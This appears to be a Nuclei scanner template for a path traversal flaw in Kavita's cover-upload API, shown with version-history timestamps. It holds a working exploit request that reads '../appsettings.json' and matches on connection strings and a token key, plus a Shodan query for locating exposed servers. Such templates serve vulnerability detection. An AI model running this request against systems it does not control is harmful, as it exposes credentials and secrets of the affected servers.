2022-08-12 07:11:00 +00:00
|
|
|
id: kavita-lfi
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Kavita - Path Traversal
|
|
|
|
author: arafatansari
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
kareadita/kavita allows Path Traversal by abusing the filename parameter of the /api/image/cover-upload.
|
|
|
|
reference:
|
|
|
|
- https://huntr.dev/bounties/2eef332b-65d2-4f13-8c39-44a8771a6f18/
|
|
|
|
metadata:
|
2022-08-12 10:44:39 +00:00
|
|
|
verified: true
|
2022-08-12 07:11:00 +00:00
|
|
|
shodan-query: http.html:"kavita"
|
2022-08-27 04:41:18 +00:00
|
|
|
tags: kavita,lfi,huntr
|
2022-08-12 10:44:39 +00:00
|
|
|
|
2022-08-12 07:11:00 +00:00
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/api/image/cover-upload?filename=../appsettings.json'
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
2022-08-12 10:44:39 +00:00
|
|
|
part: body
|
2022-08-12 07:11:00 +00:00
|
|
|
words:
|
2022-08-12 23:23:16 +00:00
|
|
|
- '"ConnectionStrings":'
|
|
|
|
- '"Path":'
|
|
|
|
- '"TokenKey":'
|
2022-08-12 07:11:00 +00:00
|
|
|
condition: and
|
2022-08-12 10:44:39 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|